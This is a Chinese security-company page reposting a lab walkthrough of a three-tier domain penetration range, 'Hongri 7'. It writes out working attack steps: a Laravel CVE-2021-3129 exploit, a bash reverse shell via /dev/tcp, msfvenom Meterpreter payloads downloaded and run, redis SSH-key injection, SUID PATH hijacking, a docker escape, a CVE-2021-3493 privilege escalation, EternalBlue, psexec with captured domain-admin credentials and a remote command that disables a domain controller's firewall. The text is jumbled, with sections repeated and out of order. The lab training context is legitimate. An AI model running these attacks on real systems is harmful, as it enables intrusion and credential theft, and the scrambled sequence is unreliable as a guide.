靶场实操|域渗透之红日靶场7_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

靶场实操|域渗透之红日靶场7

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


靶场实操|域渗透之红日靶场7

拓扑图 环境配置 DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动): 第二层网络的 Ubuntu需要启动docker容器(仍然需要root): 第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙): 开始配置 至此 环境配置完成 sudo su redis-server /etc/redis.conf /usr/sbin/nginx -c /etc/nginx/nginx.conf iptables -F sudo su service docker start docker start 8e172820ac78 C:MYOAbinAutoConfig.exe 域用户账户和密码如下: Ubuntu 1: Ubuntu 2: 通达OA账户(不重要): Administrator:Whoami2021 whoami:Whoami2021 bunny:Bunny2021 moretz:Moretz2021 web:web2021 ubuntu:ubuntu admin:admin657260 Windows Server 2012 和 Windows 7(PC 2)都只配置了一个网卡,连接在 VMnet14 上连通第三层网络 Ubuntu(Web 2)和 Windows 7(PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上,设为仅主机模式,IP段设为 192.168.93.0/24 连通第三层网络 Ubuntu(Web 1)配置了两个网卡,一个桥接可以对外提供服务,IP段设为 192.168.43.0/24,一个连接在 VMnet8 上,设为NAT模式,IP段设为 192.168.52.0/24 连通第二层网络 DMZ区IP段为192.168.43.1/24  因为我这里是开热点打的  图用的网上的 第二层网络环境IP段为192.168.52.1/24 第三层网络环境IP段为192.168.93.1/24 DMZ区域 第二层网络区域 第三层网络区域 用户名密码 后面的网卡设置好就行 网络配置好了 还需要配置服务 渗透开始 添加93网段的路由 然后探测93网段存活机器 发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40) 先扫端口 通过扫端口发现都开了445  那就测一测永恒之蓝 直接弹回会话了 第四台拿下 现在只剩下域控了  既然前面抓到了域管的密码 直接用psexec登录得了 失败了,应该是开了防火墙的原因。 没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接: 连上了  然后来关防火墙 然后在次尝试psexec 拿下域控 到此拿下了所有机器   权限维持就不做了 后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的 use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.1-255 set threads 5 run use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.93.40 set payload windows/x64/meterpreter/bind_tcp set lport 8888 exploit use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBUser administrator set SMBPass Whoami2021 set payload windows/meterpreter/bind_tcp set rhost 192.168.93.30 run net use 192.168.93.30ipc$ "Whoami2021" /user:"Administrator" sc 192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc 192.168.93.30 start unablefirewall 首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机 直接挂socks 进一步探测信息 发现有个8080端口 然后浏览器开启代理打开看看 发现是一个通达OA V11.3  然后直接通过exp直接上 上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell       然后上线msf use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.52.1-255 set threads 5 run 发现了一台30的机器 use auxiliary/server/socks_proxy set srvhost 192.168.43.35 set version 4a socks版本   run     bunny:Bunny2021 administrator:Whoami2021 ipconfig /all   # 查看本机ip,所在域 route print     # 打印路由信息 net view        # 查看局域网内其他主机名 arp -a          # 查看arp缓存 net start       # 查看开启了哪些服务 net share       # 查看开启了哪些共享 net share ipc$  # 开启ipc共享 net share c$    # 开启c盘共享 net use 192.168.xx.xxipc$ "" /user:""    # 与192.168.xx.xx建立空连接 net use 192.168.xx.xxc$ "密码" /user:"用户名"    # 建立c盘共享 dir 192.168.xx.xxc$user    # 查看192.168.xx.xx c盘user目录下的文件 net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user                 # 查看本机用户列表 net user /domain         # 查看域用户 net localgroup administrators    # 查看本地管理员组(通常会有域用户) net view /domain         # 查看有几个域 net user 用户名 /domain   # 获取指定域用户的信息 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain    # 查看域中某工作组 net time /domain           // 主域服务器会同时作为时间服务器 net group "domain admins" /domain  # 查看域管理员的名字 net group "domain computers" /domain  # 查看域中的其他主机名 net group "doamin controllers" /domain  # 查看域控制器(可能有多台) net group "Enterprise Admins" /domain    // 查看域管理员组 use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.43.35 set lport 5555 run       上线之后进行内网信息收集 . 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。 然后迁移到64进程上进行抓密码 成功抓到域用户和域管理员的密码 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=4445 -f elf > ubuntu.elf 然后远程下载 发现是可以下载的 说明可以出网 如果这里不能出网的话就需要通过先把马子传到192.168.43.129上 然后在下载到52.20这一台上 这也的话 马子也需要重新生成 设置代理 cd /tmp vim exploit.c             #将下载的exploit.c内容粘贴到该文件中 gcc exploit.c -o exploit chmod +x exploit ./exploit 提权成功  然后现在上线msf进行内网渗透 Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM 拿到了web,192.168.43.129;192.168.52.10 拿到了ubuntu,192.168.52.20;192.168.93.10 还是先把这个上线msf 以便后续操作 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=3333 -f elf > web.elf 然后远程下载马子 然后msf开启监听 然后执行上线 因为开始第一步我们就将公钥写进去192.168.50.20了  是不是我们可以直接将kali的公钥下载到拿下的A机器 然后直接连接  但是还是要输入密码 很奇怪 按道理我看网上的有人是可以成功的 这里我没成功 就不管了 然后我重新试了一下 还是成功连上了  可能是因为我第一天关机了原因   重新通过第一步的shell写密钥到192.168.52.20上 然后下载kali的公钥连接上了 这里既然连接上了 就不用另一种方法了 但还是介绍一下另一种方法 我们通过redis拿下了192.168.43.129(192.168.52.10)这一台  这一台和192.168.52.20 有共同的网段的是可以直接连的   所以就可以通过shell弹一个会话到43.129这一台机器上 然后在这一台机器上进行docker提权以及 特权模式逃逸  直接在129这一台机器上生成密钥 然后写入到52.20中 然后连接进行逃逸 use exploit/multi/handler set lhost 192.168.31.96 set lport 3333 set payload linux/x86/meterpreter/reverse_tcp run 因为开始确确实实是把ssh公钥写入了 但是怎么会连不上哎 然后查看了下nginx的配置 发现了 nginx 反向代理的标志 proxy_pass 攻击的机器192.168.43.129(192.168.52.10)服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20,将 80 端口收到的请求转发给了 http://whoamianony.top 所以这个docker的宿主机的192.168.20.20上 就算公钥写进去了 但是连不上 不在同一个网段 那个是 如果说192.168.43.129(192.168.52.10)是A机器  192.168.52.20是B机器  docker是B1 那么我们开始用马子拿下的就是B中的B1  redis拿下的才是A 先安装redis-cli工具 然后连接 尝试用redis写入ssh公钥 wget http://download.redis.io/redis-stable.tar.gz tar -zxvf redis-stable.tar.gz cd redis-stable make //全局生效 cp src/redis-cli /usr/bin/ redis-cli -h 192.168.43.129 config set dir /root/.ssh                #设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys    #设置保存文件名为authorized_keys save        #将数据保存在目标服务器硬盘上 ssh 192.168.213.188                      #连接     直接连上了 (echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > key.txt cat key.txt | redis-cli -h 192.168.43.129 -x set hello ssh-keygen -t rsa kali生成ssh公钥 将公钥导入key.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里: 然后进入redis将公钥写入(这里redis要是不用root启,就不行) 先fdisk -l查看磁盘挂载 sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上 然后ls hack就可以看到宿主机部分文件 来到/hack/home/ubuntu下 可以看到有.ssh文件 那就可以写入密钥 先在kali中生成密钥  创建一个key文件 然后将密钥复制 然后写入目标的.ssh目录下 命令:cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys(我这里是切换到.ssh目录下复制的 因为我直接全路径不知道为什么失败)(后来发现是hack前面不需要/) 然后写入到authorized_keys里面 然后用kali连接ubuntu 但是发现还是需要密码 这就奇怪了 然后换思路 因为发现还有6379 有redis 所以从redis搞 cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序 cd /home/jobs ./shell# 然后就获得了root权限,可以执行命令了 命令:bash -c "bash -i >& /dev/tcp/192.168.43.35/1234 0>&1" find / -perm -u=s -type f 2>/dev/null https://github.com/BeichenDream/Godzilla下载地址 命令:git clone git://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git 22的ssh 80的nginx 81的Laravel 6379的redis 命令:nmap -T4 -A 192.168.31.132 -p 1-65535 外网渗透 拿到DMZ的ip:192.168.43.129  首先打开看看 空白啥都没有 但是网上的那些有blog不知道怎么回事 先不管 扫端口 扫出4个端口 因为80没东西 所以打开81看看 是一个Laravel v8.29.0(一个简洁、开源的 PHP Web 开发框架) 直接网上找找公开漏洞 发现是有漏洞的CVE-2021-3129 然后直接找exp打 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP 克隆exp到kali 然后将里面默认的url改为目标192.168.43.129 然后克隆phpggc到exp目录下 因为需要同目录 命令:git clone git://github.com/ambionics/phpggc.git 然后执行命令:python3 exploit.py 然后改一下py脚本 改成任意执行命令 Vim打开脚本,首先在exploit.py开头import sys库 主函数改为如下内容(注意缩进) args = sys.argv url = args[1] command = args[2] Exp(url, command) 然后执行命令 然后写shell  但是用这个exp一直写不上 就换了一个exp 直接写shell的 然后用哥斯拉链接2.92版本的  3.03不知道为什么连不上 连上shell 首先判断当前环境和权限  发现有些命令无法执行 怀疑是在容器里面 判断是否为docker 确实是在docker里面  所以就需要进行docker逃逸 但是当前权限较低 所以需要进行提权 先通过命令来搜索具有SUID或4000权限的文件: 发现 /home/jobs/shell 文件比较特别  然后切换到目录看看 但是发现在哥斯拉执行的时候切换不了 不知道什么情况 那就先弹个会话到kali 然后在kali上试试能不能行 然后通过查看demo.c文件发现 是调用的ps命令且并未使用绝对路径 那么尝试更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell 然后先弹个root的会话 然后使用特权模式进行docker逃逸 redis未授权 docker逃逸失败的原因 docker再次逃逸(柳暗花明) 所以到现在已经拿下了两台 但192.168.52.20是ubuntu用户权限不高 我们要得肯定是root最好 先进行信息收集看看能不能提权 14.04 刚好上次打靶场的时候遇到 这个版本可以提权用CVE-2021-3493 漏洞利用 exp 下载地址:https://github.com/briskets/CVE-2021-3493 漏洞影响版本: 直接将下载的exp的内容复制到 这台机器编译一个 先添加一个路由 这台是192.168.43.129 然后生成一个马子 然后下载执行上线 好了现在都上线了 开启socks代理探测内网 第二层内网渗透 第二层内网渗透 use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.43.35 set lport 5555 run       上线之后进行内网信息收集 . 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。 然后迁移到64进程上进行抓密码 成功抓到域用户和域管理员的密码 ipconfig /all   # 查看本机ip,所在域 route print     # 打印路由信息 net view        # 查看局域网内其他主机名 arp -a          # 查看arp缓存 net start       # 查看开启了哪些服务 net share       # 查看开启了哪些共享 net share ipc$  # 开启ipc共享 net share c$    # 开启c盘共享 net use 192.168.xx.xxipc$ "" /user:""    # 与192.168.xx.xx建立空连接 net use 192.168.xx.xxc$ "密码" /user:"用户名"    # 建立c盘共享 dir 192.168.xx.xxc$user    # 查看192.168.xx.xx c盘user目录下的文件 net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user                 # 查看本机用户列表 net user /domain         # 查看域用户 net localgroup administrators    # 查看本地管理员组(通常会有域用户) net view /domain         # 查看有几个域 net user 用户名 /domain   # 获取指定域用户的信息 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain    # 查看域中某工作组 net time /domain           // 主域服务器会同时作为时间服务器 net group "domain admins" /domain  # 查看域管理员的名字 net group "domain computers" /domain  # 查看域中的其他主机名 net group "doamin controllers" /domain  # 查看域控制器(可能有多台) net group "Enterprise Admins" /domain    // 查看域管理员组 bunny:Bunny2021 administrator:Whoami2021 use auxiliary/server/socks_proxy set srvhost 192.168.43.35 set version 4a socks版本   run     use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.52.1-255 set threads 5 run 发现了一台30的机器 首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机 直接挂socks 进一步探测信息 发现有个8080端口 然后浏览器开启代理打开看看 发现是一个通达OA V11.3  然后直接通过exp直接上 上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell       然后上线msf use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.43.35 set lport 5555 run       上线之后进行内网信息收集 ipconfig /all   # 查看本机ip,所在域 route print     # 打印路由信息 net view        # 查看局域网内其他主机名 arp -a          # 查看arp缓存 net start       # 查看开启了哪些服务 net share       # 查看开启了哪些共享 net share ipc$  # 开启ipc共享 net share c$    # 开启c盘共享 net use 192.168.xx.xxipc$ "" /user:""    # 与192.168.xx.xx建立空连接 net use 192.168.xx.xxc$ "密码" /user:"用户名"    # 建立c盘共享 dir 192.168.xx.xxc$user    # 查看192.168.xx.xx c盘user目录下的文件 net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user                 # 查看本机用户列表 net user /domain         # 查看域用户 net localgroup administrators    # 查看本地管理员组(通常会有域用户) net view /domain         # 查看有几个域 net user 用户名 /domain   # 获取指定域用户的信息 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain    # 查看域中某工作组 net time /domain           // 主域服务器会同时作为时间服务器 net group "domain admins" /domain  # 查看域管理员的名字 net group "domain computers" /domain  # 查看域中的其他主机名 net group "doamin controllers" /domain  # 查看域控制器(可能有多台) net group "Enterprise Admins" /domain    // 查看域管理员组 . 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。 然后迁移到64进程上进行抓密码 成功抓到域用户和域管理员的密码 bunny:Bunny2021 administrator:Whoami2021 第三层内网渗透 添加93网段的路由 然后探测93网段存活机器 use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.1-255 set threads 5 run 发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40) 先扫端口 通过扫端口发现都开了445  那就测一测永恒之蓝 use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.93.40 set payload windows/x64/meterpreter/bind_tcp set lport 8888 exploit 直接弹回会话了 第四台拿下 现在只剩下域控了  既然前面抓到了域管的密码 直接用psexec登录得了 use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBUser administrator set SMBPass Whoami2021 set payload windows/meterpreter/bind_tcp set rhost 192.168.93.30 run 失败了,应该是开了防火墙的原因。 没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接: net use 192.168.93.30ipc$ "Whoami2021" /user:"Administrator" 连上了  然后来关防火墙 sc 192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc 192.168.93.30 start unablefirewall 然后在次尝试psexec 拿下域控 到此拿下了所有机器   权限维持就不做了 后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的 文章来源:亿人安全 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

靶场实操|域渗透之红日靶场7